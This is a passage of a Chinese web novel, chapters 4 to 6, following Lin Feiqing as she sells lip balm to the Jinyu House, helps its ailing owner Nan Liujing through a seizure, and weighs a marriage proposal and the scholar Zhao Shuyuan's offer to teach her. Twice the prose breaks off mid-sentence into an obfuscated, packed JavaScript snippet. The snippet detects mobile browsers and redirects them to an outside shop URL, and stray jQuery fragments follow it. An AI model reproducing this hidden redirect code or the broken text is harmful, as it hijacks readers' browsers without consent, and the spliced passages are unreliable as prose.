“清清,我马上要嫁人了,往后只能你自己保护自己,这玉佩是我捡到的,一看就是好东西,你藏好别叫家里人发现了,真出了什么事,就把它卖了跑得远远的!”
阿香的话犹在耳边,月光下,林霏清缓缓攥紧玉佩,面上却有些茫然。
她住在舅舅家,能出什么事呢?
4. 第 4 章
三日后,货郎将从金玉楼拿到的信送到了林霏清手上。
彼时赵福与赵栋各自串门玩耍,家中只有林霏清与何雁两人,何雁不识字,林霏清认识的也不多,为避免再度出现赶集那天的误会,林霏清提议去村中秀才家请人读信。
村中只有一个秀才,他运气好,赶上了前朝最后一届府试,前几年哪哪都乱,他因着秀才的功名未被征走,安安分分在家中念了几年书,就等过几年,参与新朝第一届乡试。
村中对读书人都敬,登门前,何雁特地嘱咐林霏清带上了一篮鸡蛋——当然不是满满一篮。
其实她也舍不得,但这可是金玉楼送来的信,要林霏清真有那运气,带来的好处可远远超过几颗蛋。
再加上,先前赵栋相亲被拒,虽说只有两家与媒人知晓,但何雁多少还是有些觉得没脸,若能让村里人知晓他们家与金玉楼有了合作,那是多么有荣光的一件事啊。
当然,这一切的前提都是,她这个外甥女没有在她跟前撒谎。
至于林霏清做的那些玩意儿,何雁自己是没有用过的,谁知道都是用什么东西做成的,他们家又不是买不起口脂,万一用出什么毛病来怎么办?
胡思乱想着,两人已经到了秀才家门口,隔着院门,何雁在外头朗声唤了一句:“温家妹子,你在不在?”
须臾,一个模样温婉柔和的妇人推门出来,见着她们二人面上划过一丝讶然,又很快扬起个笑,打开院门:“何姐姐好,今日怎么得空来我这了?”
何雁笑道:“这不年节闲下来了嘛,乡里乡亲的串串门,热闹热闹。”
林霏清跟在后头乖乖打招呼:“温伯母新年好。”
“霏清也新年好。来,快进来。”
相比之下,赵秀才家要狭小些许,但温纯颇有些闲情逸致,山间折的梅花插了瓶装点在屋内,反而有些别出心裁的野趣。
温纯给两人倒了水,又端出些糕点年货,见她还要拿东西,何雁忙将人按回座上:“妹子别忙了,咱们坐下好好说说话。”
但三人面对面坐下后,却一时有些尴尬地沉默起来。
说来,温纯与何雁其实算不上相熟,何雁心气高,更别说赵福有本事,他们家算得上村里数一数二的富户,就连林霏清这个外甥女在村中姑娘里也称得上拔尖。
但偏偏何雁有一处比不上温纯,她的儿子不争气。
赵书源与赵栋年岁相当,可赵书源是村里唯一的秀才,赵栋却整日闲晃,连个稳当的活计都没有,若非如此,先前相看的姑娘也不至于看不上他。
故而哪怕温纯从没有攀比的意思,何雁在她面前也总有抬不起头的感觉,平日路上能避则避,更遑论坐到她家中了。
眼见尴尬愈演愈烈,林霏清只好主动开口,将怀中竹篮递过去:“温伯母,这是我家母鸡自己下的蛋,赵先生读书辛苦,平日得多补补,您拿去,算是我们的一点心意。”
听她开口,何雁回过神,跟在一旁笑着点头。
温纯却没接,只客气地笑了笑:“多谢何姐姐好意,只是无功不受禄,这鸡蛋也是稀罕物,姐姐还是自己吃吧?”
何雁碰了个软钉子,面上的笑有些挂不住,怕舅母在这里吵起来,林霏清赶忙接过话头:“温伯母别误会,我们来此的确有所求。”
她从袖中掏出金玉楼的信,将来龙去脉说了清楚:“……不知赵先生方不方便帮我们读读信,好叫我们安心些,别让闹出什么笑话才好。”
闻言,温纯这才放下防备,她看了眼篮中的鸡蛋,或许是想到自己苦读的孩子,没再推脱,只温和道:“既如此,你们稍等片刻,我去里屋叫书源来。”
直到温纯的背影彻底消失在堂屋,何雁才憋狠了般啐了一口,低声骂道:“装模作样!”
林霏清坐在一旁,听见舅母这样骂有些窘迫地垂了垂眼。
到底顾及着不在自己家中,何雁只骂了这一句便安静下来。
很快,通往里屋的门打开,温纯率先出来,后头跟着个长身玉立的年轻公子,对着两人行了行礼:“何伯母好,林姑娘好。”
两人哪见过这般恭谨的阵仗,忙齐齐起身对着赵书源回了个礼,而后坐也不是站也不是,还是温纯开口招待两人坐下。
坐下后,林霏清忙将信件递过去:“劳烦先生帮我看一看。”
从前林霏清与赵书源没说过什么话,但总听村里人说他不常出门,不爱说话,成天到晚抱着书,也不知晓什么人情往来,加上他是读书人,看着就很重规矩,此时此刻不免有些紧张。
倒是赵书源看出她的不安,先扬起了个笑安抚道:“举手之劳罢了,既是乡邻,不必这么客气。”
他本就是玉石般的清俊长相,笑起来更显温润,加上这句安抚,瞬间便将林霏清心中的不安抹了干净。
她放松下来,轻轻点了点头,便看赵书源节骨分明的五指轻巧地展信,先是快速扫了一遍,而后从头念起:
“林霏清姑娘展阅,
承蒙信赖,金玉楼已试用三日所授口脂,往来无一不赞不爱,现欲于楼中展售您之口脂,烦请于正月十五携口脂光临,数与量并无要求,多多益善。晤将于金玉楼静候佳音。
金玉楼管事,杜荷敬上。”
信里的意思说得再清楚不过,何雁还没听完,便已欢喜得眉毛都高高飞起,伸手从赵书源手中接过信,虽然看不懂,却还是从里到外瞧了好几遍:“哎呀,真成了呀?”
温纯见状笑道:“何姐姐真是好福气,我听闻金玉楼的胭脂水粉,可都是达官贵人才能受用得起的。”
“哎呦,运气好罢了!”何雁高兴,连看着温纯也顺眼起来,两人你一言我一语,瞧着倒比先前亲近许多。
赵书源也转过眼,面向林霏清笑道:“恭喜林姑娘。”
被舅母所感染,哪怕先前已有所预感,此时此刻林霏清也生出些喜悦,听见赵书源的恭贺,不由绽出一个真心实意地笑:“多谢先生帮我读信。”
赵书源第一次见林霏清时她才五岁,小姑娘圆头圆脑娇俏可爱,见着谁都笑眯眯地问好,而今十年过去,性格却越来越内敛沉默,路上见到他也只匆匆点头便算打了招呼,仿佛怕着什么似的。
他不介意,却也多少觉得惋惜。
直到现在林霏清再度对他笑起来,赵书源才惊觉,自己对小姑娘的认知简直偏差到了极点。
她笑起来与小时候没有什么不同,连嘴角的弧度都完全一致,非要说哪里不一样,便是从软乎乎的小女孩,彻底蜕变成了眉眼如画的婉约佳人。
对上视线的一瞬间,赵书源自始至终平稳的呼吸,忽然有些凌乱起来。
好在林霏清冲他道谢后便挪开了目光,这才没注意到他的失神。
在温纯家稍坐片刻,何雁与林霏清动身告辞。
看着起身就要回去继续温书的儿子,温纯突然叫住他。
“书源,你觉得霏清这姑娘怎么样?”
赵书源尚未厘清自己的心思,猛然听见这名字,白玉似的面容上划过几抹无措,不过温纯忙着收拾桌子,并未看到他的反常。
他不动声色地垂下眼:“母亲问这个做什么?”
温纯将送来的鸡蛋收进壁橱中:“前些日子我听王婆说在帮赵栋相看姑娘,便想起我也有个十九的儿子呀。”
“母亲,儿子现在还……”
“我知道你现在忙着念书,但这又不冲突。”温纯打断他,“今日我看霏清这姑娘,模样标致不说,瞧着内向,但行事却比何雁这个舅母要老练得多,现在还有一门能养活自己的本事,你们也算半个青梅竹马。”
“我还挺想做她的婆母的。”
温纯转身看向儿子:“你呢?你怎么想?”
听母亲这样问,赵书源却突然想起九岁的时候,他第一次与林霏清见面,对方手里拿着枝桃花,憨态可掬地冲他行了一礼,甜甜地叫他“书源哥哥”。
“……再说吧。”
赵书源没有直接拒绝,于温纯而言便已经是很大的惊喜了。她也没打算今天便逼着儿子拜堂成亲,听他表明了态度便放人去念书。
赵书源平静颔首,随即转身离去,只是拢在袖下微微颤抖的手暴露了他的慌乱。
方才那一瞬间,他脑子里突然出现了一个奇怪的念头——想听十五岁的林霏清,叫“书源哥哥”。
-
距正月十五还有一段时日,这些日子除了日常的家务外,舅母要求林霏清用全部精力来制作口脂。
毕竟金玉楼可说了,多多益善,制成的口脂越多,收入便也就越多。
可冬日材料难寻,时间又紧,林霏清一刻不停,在十五前,也不过制出十余盒。
何雁对此不太满意,但总比一盒没有好,赵栋向来不关心这些,赵福也瞧不上林霏清的这些小打小闹,于是元宵当日,还是何雁与林霏清一块驾车进京。
这次她们的目的明确,入京后直奔金玉楼,可临了看到门前那块巨大的牌楼,以及进进出出穿金戴银的贵人,何雁突然生出些怯意。
林霏清疑惑扭头,看向突兀停下脚步的舅母。何雁面上有些许不自然,道:“我在外面等你就好。”
她没说理由,林霏清也习惯了不多问,紧了紧胸前的布袋,转身踏进了金玉楼。
楼门口站着几个雇员,其中一个正是那日引她金楼的女子,她显然还记得林霏清,见着她欢欢喜喜地迎上来:“林姑娘。”
林霏清也扬起笑:“是你啊……额。”尾音淹没在不知对方称呼的尴尬中。
姑娘捂嘴笑了笑,友善地替她解围:“我叫春湘,春天的春,湘江的湘。”
“春湘姑娘,”林霏清从善如流地改了口,从袖中掏出让她送货的信,有些紧张道,“杜管事让我今日带口脂来,您方便带我去见她吗?”
“方便方便。”春湘一口应下,热热切切地将人往里引,一边道,“您之前送来的口脂我也用了,真是漂亮,好几个客人都来同我打听,待上了货,必能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744392|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赚得不少银钱。”
春湘热情,距离却把控得极好,不会让人有分毫不适,林霏清渐渐少了紧张,也跟着笑道:“春湘姑娘抬举我了。”
闻言春湘却是正了神色,悄悄往林霏清的方向凑了凑,低声道:“林姑娘,我可不是晃你,前几日我听见杜管事与旁人说话,有意在您的口脂上留心思呢。”
“留心思?”
春湘点头,解释道:“要说金玉楼的东西,哪个不是一等一的出挑,但同样都是好东西,有些卖得好,有些就差一点,除了货品本身有差距,金玉楼如何售卖,也同样有影响。”
林霏清被她说得越发晕乎,正欲多问几句,但两人已经到了地方,春湘安静下来,轻轻敲了敲门。
门开了,春湘却没进,林霏清甫一踏进屋子,一股清洌洌的香气扑面而来,却奇异的不觉冷,房间宽敞通透,西侧一台楼梯通向二楼,二楼做了挑空,站在上头能将一楼的情况尽收眼底。
出乎意料的,屋内除了杜管事外还有两人。
其中一位便是那日将她误会成骗子的金玉楼老板。
他今日没坐轮椅,裹着层层叠叠的冬衣,却依旧掩不住清瘦,这装扮稍微矮点胖点便不好看,可他身高实在优越,不仅不显臃肿,反而有股别样的潇洒,站在一阶楼梯上,抱臂懒散地半倚着墙,正慢条斯理地与对面女子商议着什么。
听见门口的动静,南流景掀起眼皮朝这边看了一眼,林霏清还没来得及有什么反应,对方便已收回目光。
林霏清莫名有些尴尬,好在杜管事开口,将她引至一旁的座位。
林霏清摊开布包,十余方竹盒静静列在桌上,杜管事随意抽了几盒看了看,便悉数收起,从一旁抽屉中拿出几份文书。
似是知道林霏清不怎么识字,便引着她一份一份看过去。
归根结底不过两件事,一是价格,金玉楼开出每盒五两的价格,每月十五送货,送货时给四成,余下六成下月来时补上。
寻常人家一月用度大约也就五两左右,这个价格比先前在程阿婆那里要高出不少,林霏清对此完全没有异议。
见状,杜管事便说起下一件事:“下月十五起,您每月带来的口脂不得超过十盒,此外,除了金玉楼外,不得再将您做的口脂供给任何店铺,同时,您不得直接将您的口脂作为礼物赠予他人。”
“啊?”不能供给其他店铺她理解,但一月只要十盒,而且她自己做的口脂也不能送人吗?
杜管事依旧是那副温和的模样,有条不紊地为林霏清解释道:“再好的东西,随手可得也会变得腻味。想要大家喜欢您的口脂,便不能一次满足所有人,林姑娘说是不是?”
就像糖葫芦,也是因为不能想吃就吃,才会让她时刻念着,要是天天吃,那该牙疼了。
林霏清迟疑地点了点头,大约明白了杜管事的意思。
“若您想要拿口脂赠人,每月金玉楼可为您匀出一些,不必过于担心。”
杜管事温言细语,很快说服了林霏清。当然最重要的还是金玉楼出手阔绰,就算每月十盒那也有五十两呢,收入比先前在程阿婆那里高出了十倍不止。
她甚至有闲心算了算,一月五十两,她只用攒两百个月就能攒够金玉楼一年的租金。
在杜管事的引导下签了名字按了手印,两方的合作正式达成。
直到这时心中的一块大石才安稳落地,看着签了名字的文书,林霏清还没来得及露出笑,一旁却突然传来一声惊惶失措的呼声。
“杜管事!您快来啊!!”
两人一惊,齐齐往声音来处看去,是方才与南流景说话的那个女子,而与她议事的南流景,此刻不知怎的跪伏在了楼梯上。
杜管事面色一变,赶忙跑了过去。
“楼上有房间,去外面喊小厮来抬人,再找人去请御医,快!”杜管事显然对此颇有经验,虽说有些慌乱但还是迅速下了指令。
旁边女子有了主心骨,立刻依言出去寻人,一道身影却迅速越过她,直奔地上的南流景去。
“直接去找郎中吧。”
女子转头,就见林霏清俯下身,手臂越过南流景的后背与腿弯,很轻松地便将人打横抱了起来。
杜管事见状惊呼出声:“林姑娘!”
高大的男人蜷缩在瘦弱的姑娘怀中,那场面太过奇特,杜管事一时都愣了愣。
林霏清也没料到南流景穿这么厚,竟然还这么轻,甚至因为预先准备了太大的力气,起身时还差点闪了空。
抑制住颠一颠的冲动,林霏清低下眼,他的面容掩在层层叠叠的狐毛间,眉眼紧皱,整张脸除了眼角泛着病态的潮红外苍白一片。她起先以为是自己的手在抖,后来才发现是南流景,厚重的大氅也挡不住他显而易见的颤抖。薄薄一片,好像随时都会碎掉。
她下意识紧了紧怀中人,转向杜管事:“二楼哪间房?”
见她抱得稳,杜管事也不多耽搁,快跑几步到林霏清前头:“请随我来。”
5. 第 5 章
林霏清小心翼翼地将人搁至床榻上。
方才这一会的功夫,南流景的面色比先前更糟糕。一手紧紧按着心口,落在床上的一瞬间便蜷缩成了一团。
即便如此他也没有发出丁点声音,被汗水打湿的发丝凌乱地黏在眉眼处,凌乱的呼吸间,紫青的血管暴起,自锁骨爬至惨白的下颌。
林霏清不由得探了探他的额头,冰得吓人。正欲直起身问问杜管事接下来怎么办,一只大手却精准地抓住了她的腕。
对方没用多少力气,与其说是抓,更像是搭了上来,但林霏清依旧因为掌心的冰凉而瑟缩了一下。垂下眼,南流景依旧是方才的姿势,只是唇一张一合,轻声说着什么。
林霏清微怔,来不及去看杜管事,迅速俯下身。
男人温湿的呼吸落在耳边,微微有些发麻,林霏清飞快地眨了眨眼,压下那股不习惯,模模糊糊辨认出了他的话。
“左襟中的药,”话语从牙缝中挤出,嗓音干涩隐忍,完全没有第一次见面的傲慢慵懒,“拿一颗出来。”
竟然有药!
情况紧急,林霏清匆忙对着杜管事说了一句“有药”便伸手探进了南流景的左襟,很快便从里头摸出一个白玉瓷瓶。
甫一打开,一股苦药味便扑面而来,熏得林霏清下意识皱了皱眉,见状旁边的杜管事迅速接过药瓶。
那苦味随着一粒药倒出愈发明显,一旁的林霏清看着南流景生吃那药时甚至感同身受地胃抽了一下。
好在药效起得很快,咽下药后,不过一刻钟南流景的面色便舒缓了下来,只是神色仍有些恍惚。
须臾,他缓缓坐起身,抬眼,对着林霏清的方向,轻轻道了句“辛苦”。
“不辛苦不辛苦。”林霏清连忙摆手,“您很轻的。”
“……”
南流景苍白的面容僵硬了一瞬,落在林霏清眼中,便是他冷漠地看了她一眼后便又垂下眼休息。
……好嘛,病人最大。
林霏清没跟他计较,也就在这时郎中到了。
杜管事忙去请人进来,不想那背着药箱的郎中还未踏进,床上坐着的人便不耐地掀起眼皮:“谁让你进来的?”
他声音不大,但每个人都听得清清楚楚,门口的郎中顿时无措地停下脚步,杜管事劝道:“公子,还是让太医看看才放心吧?”
这是杜管事第二次说“太医”了。
林霏清眨眨眼,还没来得及深思,便听南流景深吸一口气:“我说最后一次,出去。”
他面上没什么表情,语气也不重,但眉眼下压,显然已经极其不悦,见状杜管事当即噤声,犹豫片刻,顺从地送郎中出门。
也不知被南流景我行我素的行事风格折磨了多久。
林霏清暗自叹息,却猛然反应过来。
杜管事出去,房中不就剩下他们两人了?
南流景,要是骂她,怎么办?
林霏清小心翼翼地转过目光,却没看到想象中被怒目瞪视的场景。
南流景完全无视了她,已然疲累地合上眼,兀自平息着胸膛的起伏。该说不说,南流景的确有张好皮相,只要不凶人,从任何角度看都漂亮得惊人。
不过就也就是这样才能意识到他还是个病人,将郎中赶走真的无妨吗。
“看什么?”
南流景突然开口,打乱了她的思绪,林霏清回过神来,才意识到自己已经盯着他看了好一会。
偷窥被抓,想起南流景方才大显神威的模样,林霏清微微僵住,生怕南流景大怒撤了她与金玉楼的单子,但又多少有些心虚。
要不,夸夸他?
只是,她实在没发现南流景除了皮相外旁的优点。顿了顿,想起方才被惊艳的一瞬间,林霏清硬着头皮道:“看您好看。”
四目相对,屋内陷入沉默。
一片寂静中,她看到南流景抽了抽嘴角,看着她目光有些匪夷所思,像是在看什么初通人性的物件。
完了,林霏清心凉了一半,南流景好像对她的讨好不怎么满意。
可最终他也什么都没说,只无奈地叹了口气后又闭上了眼。
这是什么反应?
林霏清微微愣住,虽不知南流景心里是怎么想的,但看他的样子实在不像生气,这是不是说明,他还挺喜欢旁人夸他外貌的?
她隐约意识到自己可能摸索到了与南流景相处的关窍。
屋内再度安静下来,只是这次气氛要显平和得多。
很快杜管事回来,确定南流景没有再发病的情状便将林霏清带了出去。
一踏出屋子,浓烈的药味散去,林霏清长长舒了口气,大难不死的模样看得杜管事有些好笑:“方才吓到您了吧?”
林霏清却摇摇头:“还好。”
除了刚刚发病那会是真的吓到了她。
杜管事微愣,先前看出林霏清胆子小,以为碰见这种事多少要受惊,但看她神色冷静,便放下心来,带她下楼交付今日的口脂钱。
林霏清跟在后头,想了想,还是忍不住出声询问:“方才好像听见您称呼那位郎中为,太医?”
杜管事垂睫看着楼梯,并未转头:“是。”
平淡的语气,却越发叫林霏清不解。
太医,这不是皇宫里才有的吗?还是说燕都这样称呼有名望的郎中?
直至下到一楼,杜管事回眸看见林霏清的表情,才恍然她问这个做什么。她笑着为林霏清解释:“原来您还不知道,当今皇后娘娘,是南老板的亲姊。”
前朝倾覆,新朝初立。去岁新帝登基,鼓乐响了一日,林霏清住在城外也能听见响动,却也没上多少心。改朝换代是大事,但落在他们这些小民头上也就那样,只要仗不打在他们身边,上面谁坐皇帝都一样。
但这不代表近距离与国舅接触时,她也能毫不在意。
看她怔愣,杜管事贴心地等她消化完才继续:“南老板体弱,皇上与皇后娘娘放心不下,便从太医院择了一位出来,随府侍奉。”
“那……”林霏清察觉到话外的含义,“南老板经常会不舒服吗?”
杜管事点头,有些无奈:“是啊。只是对于让太医看顾,南老板一向排斥。”
话落,似是察觉到自己说得太多,杜管事笑笑,不动声色停下这个话题,带着林霏清到钱柜前,点够了银两交到她手上,笑道:“这是您的口脂钱,余下的部分下月十五给您。”
沉甸甸的钱袋落在掌心,就连荷包布料都比她身上的衣料华贵,林霏清第一次对自己在与什么人打交道产生了实感。
沉默片刻,林霏清抬起头,坚定道:“我一定好好做口脂。”
杜管事闻言愣了愣,片刻才笑道:“好。”
……
将林霏清送走,杜管事再度回到楼上房间内。南流景已经恢复,完全看不出方才发病的痕迹,坐在窗边饮水看景,潇洒闲逸。
杜管事缓步走近,劝道:“今日天寒,还是把窗子关了吧?”
“啧。”
不咸不淡的一声,却足够表明态度,杜管事只好闭上嘴。顺着南流景的目光向下看去,正好看见牌楼外,林姑娘与一妇人说话的场景。
距离隔得远,听不见两人说了什么,却能看见短暂的交谈后,林姑娘双手将装钱的荷包交给了那妇人。
“啧。”
又是一声,杜管事收回目光,就见南流景半倚窗台,面上似笑非笑:“一点不给自己留啊?在我跟前那么气人,到了旁人那就那么乖。”
显然不是在同她讲话。
杜管事垂了垂睫,再度看向楼下,林姑娘已经与方才那位妇人走远了。
所以,“那么乖”,是指林姑娘?
……
沉默片刻,杜管事微微躬身:“老板,今日元宵,皇后娘娘在宫中等您呢。”
南流景懒散地分过来半个目光:“我要不去,你是不是又要进宫告状了?”
就算不告状,今日您发病,还拒绝太医的事也瞒不过娘娘。
杜管事腹诽,却识趣地没有明说,只微笑道:“娘娘很挂念您。”
“……”到底是元宵,南流景不打算拒绝,又倚回原来的姿势,慢吞吞道,“找人去府上,让银元把轮椅推过来。”
杜管事应是,转身退下,却又被南流景叫住。
“不许,”他一字一顿,“同阿姊告状。”
-
回到家中,真正将钱放到舅舅面前时,赵福才终于愿意将眼神放在林霏清身上。
在得知往后每个月都能拿到五十两,向来沉默的舅舅对她微微露出一个笑,说:“挺好的。”
家中有喜,今夜何雁多炒了几个荤菜,饭菜做好后,一直待在房间中的赵栋才在何雁千呼万唤中现身。
他习惯性坐在辣椒炒肉跟前,却被何雁一筷子敲到脑袋上:“让你妹妹坐这。你坐这边来。”
“嗷!”赵栋吃痛地捂住头,看了一眼何雁安排的位置,连夹肉都得站起来,顿时不乐意了:“凭什么?!坐哪不都一样吗?”
“既然一样怎么不能让妹妹坐那里了?”
何雁这几日本就因赵栋搞砸了相亲憋着气,加上赵栋最近格外爱与她顶嘴,眼瞧着就要吵起来了,林霏清赶忙上前劝阻:“没事没事,我坐哪里都一样的,舅母做饭辛苦,赶紧开饭吧,不然要凉了。”
闻言何雁这才泄下点火气:“还是霏清乖巧。”说着狠狠剜了一眼赵栋,“但凡有你妹妹半分本事也不至于把我气成这样!”
“嘁。”
赵栋翻了个白眼,抽开桌前的椅子,叮铃哐啷,带着怨气,一边小声嘟囔:“那么喜欢做你女儿算了。”
“诶你这孩子——”
“行了!”坐在上首的赵福开口,勉强按下了一顿争吵。
林霏清松了口气,抬起眼意外对上舅舅的视线。冷冰冰,带着些许不满。
是觉得因着她的缘故舅母与表兄吵才起来的吗?
林霏清:“……”
她收回视线,佯装无事,扒了口饭。
当晚林霏清做了个梦,梦中一人形容枯槁,躺在床上一个劲喊疼,凑近看时,那人的面容一会成母亲的样子,一会又成南流景的模样,变换几番后,最终顶着个骷髅脑袋,空荡荡的嘴里却依旧念着疼。
林霏清猛然惊醒。
整个后背皆被汗水浸湿,风一吹凉飕飕的。
惨白的月光落在被子上,林霏清喘着粗气缓了许久才冷静下来。
好烦,南流景发病,为何做噩梦的是她?
夜色深沉,月光无声,心跳平息后,困倦再度翻涌上来,林霏清闭上眼,没一会又睡了过去。
这次一夜无梦。
-
元宵一过,年节便彻底结束。
先前便说过完年要请王婆再来一趟,只是何雁还没来得及请,王婆却主动登门了。
“哎呦,何家妹子,过年好呀!”
何雁有些讶然,忙将人迎了进来:“王姐姐,您怎么来了?难道是我家小儿的事有进展了?”一边往里走
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744393|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一边招呼林霏清给王婆上茶。
“那倒没有,栋儿的事我还在看呢。放心吧,栋儿也算是我看大的孩子了,定不会让他吃亏的。”王婆接过林霏清的茶猛灌了一口,而后牵着何雁的手坐下,那姿态气度倒显得何雁像是客人,“我今日来啊,是给霏清丫头说亲的。”
啊?
奉了茶便打算退出去的林霏清猛然愣在原地,连何雁都呆了呆,结结巴巴道:“什、什么?”
王婆不太满意:“何家妹子,不是我说你,霏清丫头也快十六了吧?小姑娘不懂事,大人得多费心啊。”
说得何雁面色涨红,王婆又道:“男方是隔壁村的,祖祖辈辈都是铁匠,小伙子今年十九了,打铁的手艺学的差不多,家里便想着张罗婚事,听说咱们村的霏清丫头漂亮又能干……”
王婆一张巧嘴,嘚吧嘚吧将对方从头到脚夸了一遍,还顺道赞美了一番林霏清,直到最后才一笔带过男方的缺点:“就是前些年打仗,小伙子运道不好,没了一条腿,但人家手巧,自己给自己打了拐,这不才说明人家有本事嘛!”
“……”
“怎么?不满意啊?”王婆看了眼何雁的神色,又看了眼站在一旁恍惚的林霏清,笑呵呵道,“那也没事,除了这家,还有一家也跟我打听霏清来着。”
“王婶。”坐在院里的赵福缓缓走进屋内,神色平和,但语气却很坚决,“多谢你费心,但霏清的事我们还不着急。”
不知是不是错觉,林霏清总觉得,舅舅说这话时,有意无意往她这边看了一眼。
但本也是关乎她的事,看她一眼,也很正常?
当家人发话,才算是给这件事一锤定了音。
送走王婆,何雁垮下脸,对着一旁的赵福抱怨:“把咱们当什么了?一个瘸子还好意思介绍过来?”
“行了,你少说几句,王婆也是为咱们好。”赵福随意应付了几句,拿着锄头到院中去修整。
何雁想听的显然不是这个,但赵栋不在身边,看了眼在旁边眨着眼睛啥都不懂的林霏清,憋了一会,最终还是摆摆手,无奈道:“你去忙吧。”
林霏清“哦”了一声,趁着天色还早,背上竹篓出门去后山割兔草,前几年死人多,后山的兔草长得繁茂昌盛,割一次能吃两三日。
忙起来心里便没那么多事,只是到底她不能在山上待一天,割完草下山,林霏清忍不住又想起王婆上门说亲的事。
她自己也知道,快十六的女孩,家中最该操心的也就是婚事,只是前头有表兄挡着,舅舅舅母心思放不在她身上。
只是现在周围人也开始关心她的婚事,她一个姑娘,舅舅家不可能养她一辈子,成亲是早晚的事。
成亲当然不是一件坏事,她最要好的朋友赵香成亲离开前,谈起她未婚的夫婿满眼都是幸福。
但是……
林霏清微微叹了口气。
归家路上迎面碰上赵书源,林霏清勉强扬起笑问了个好,却不想他竟停下了脚步。
赵书源怀中抱着书,长发用一根系带高高束起,瞧起来利落又儒雅,站在不近不远的地方微微低下眼看她:“心情不好?”
“啊?”林霏清茫然抬眼。
赵书源空着的手指了指自己的眉心,林霏清这才意识到自己的眉头已经皱了一路。
林霏清忙松开眉头,勉强笑笑:“方才上山,累着了。”
但赵书源显然不相信她的说辞,继续问道:“出什么事了?”
这条路偏僻,不怕旁人看到他们私下说话,而赵书源的样子实在太可靠,加上又是读书人,有些话憋在心里难受,林霏清沉默了一会,缓缓开口:“今日王婆来我家给我说亲了。是隔壁村的一个铁匠。”
闻言赵书源愣了愣,心下泛起点不舒服,只是一瞬后迅速按下,等着林霏清断断续续地将男方的情况说完,才温声问:“那你不高兴,是因为不愿意同他成亲吗?”
林霏清却没有直接表态,反而沉默了许久。
拉长的时间里,原本不紧张的赵书源,也在这股情绪的带动下,微微蹙了蹙眉。
半晌,林霏清摇头:“愿意的话,应该会高兴吧?”顿了顿,她又道,“但我不知道,我是因为……”
她磕巴了下,不太好意思用“喜欢”这个词,于是换了种说辞:“对方的缘故,还是本身就排斥成亲这件事。”
说着,林霏清抬起头,面上拢着明显的茫然:“赵先生,成亲是件好事吗?”
这下轮到赵书源不知该怎么说了。
书上说遇良人先成家,遇贵人先立业,但书上也说无贵人而先自立,无良人而先修身,为了传宗接代自然是要成亲,国家也需要人口才能发展。站在很多人的角度,成亲当然是件好事。
但现在林霏清问他,成亲是件好事吗?
赵书源无法帮她回答这个问题。
沉默了一会,意识到自己这个问题不太合时宜,林霏清尴尬地笑笑,正打算打个马虎眼离开时,赵书源温声开口。
“抱歉,我也不知道,所以没办法骗你。”他说,眼中一派温和,“但我可以教你怎么找到答案。”
“怎么做?”林霏清好奇问。
赵书源晃了晃手中的书卷,笑道:“读书。”
“书里会说吗?”
“书里说的也不一定全是对的。”赵书源坦诚道,“但读书会教你怎么思考。等到你学会怎么思考,哪怕你不问旁人,自己也可以找到让自己满意的答案。”
“我可以教你,你要学吗?”
6. 第 6 章
林霏清现在认得的所有字,都是在五岁之前学的。
准确说,是母亲还未病倒之前学的。
她已不记得母亲的音容,对母亲的唯一记忆,便是坐在窗前,被母亲抱在怀中,看母亲的指尖在字行上划过,晦涩的文字也在温和的语调中变得柔软。
后来母亲病逝,她被寄养在了舅舅家,世道乱,加上农户人读书难,别说她了,连表兄赵栋都没有机会读书。
此刻听到赵先生的邀请,五岁前那些尘封的记忆再度苏醒,久违地让她想起了母亲。
她想答应。
但同时她也清楚,若是同意了,后续便伴随着对舅舅舅母无尽的遮掩——她没有一个好的借口让舅舅舅母同意自己反复到赵先生家叨扰,他们也不可能同意自己放下家中活计去读书。
更何况,赵先生准备科考,想也知道有多辛苦,她不能这个时候还去劳烦他。
想到这里,看着还在等她回应的赵先生,林霏清犹豫了一瞬,总觉得说明自己实切的想法像在邀功“我都是为了你好”,便随便找了个借口道:
“抱歉,赵先生,我没时间。”
开口时她的声线有些颤,不是怕,而是愧。
她本就不擅长拒绝他人,更何况赵先生完全是为了她好。
赵书源提建议时便料到自己有可能被拒绝,此刻听到林霏清这样说也只是愣了一瞬,看到林霏清不太好受,反而反过来安慰她:
“不必放在心上,是我思虑不周莽撞了,你有你自己的考量,这本就很好。”
林霏清却愈发羞愧难当,可此时此刻,除了道歉她什么都做不了。
村里人真是在说胡话,林霏清暗想,赵先生明明就很好。
……
经路上这一耽搁,晚间归家便迟了些,屋内舅舅表兄都不见,只有舅母正收拾着碗筷,桌上菜碟都空了,她常坐的位置前留了一碗饭,上头淋了些菜汤。
“舅母。”林霏清赶忙放下背篓,上前接过何雁手中的抹布,“您去歇着吧,我来收拾就好。”
何雁低声抱怨了句“怎么回来这么晚”,却也没多说什么,站在一边捂着腰道:“我做饭的时候扭了腰,到现在还疼。饭是留给你的,吃完记得洗碗,牛棚畜窝今天还没收拾,今晚辛苦你一下,好吧?”
烛光昏黄,也可见何雁面色蜡白,像是不敢使劲似的歪着半边身子,见状林霏清点了点头,悉数应了。
米饭还留点余温,可惜没菜,哪怕就着菜汤也有点噎,不过林霏清不挑食,三下五除二扒完一碗饭。桌上的碗盘已经被收拾了一半,打扫起来倒不困难。
做完活洗漱好,天色已晚,回房路上经过舅舅舅母房间,隐约能听见舅母低微的呻吟,紧接着响起舅舅一声抱怨,而后屋内彻底安静下来。
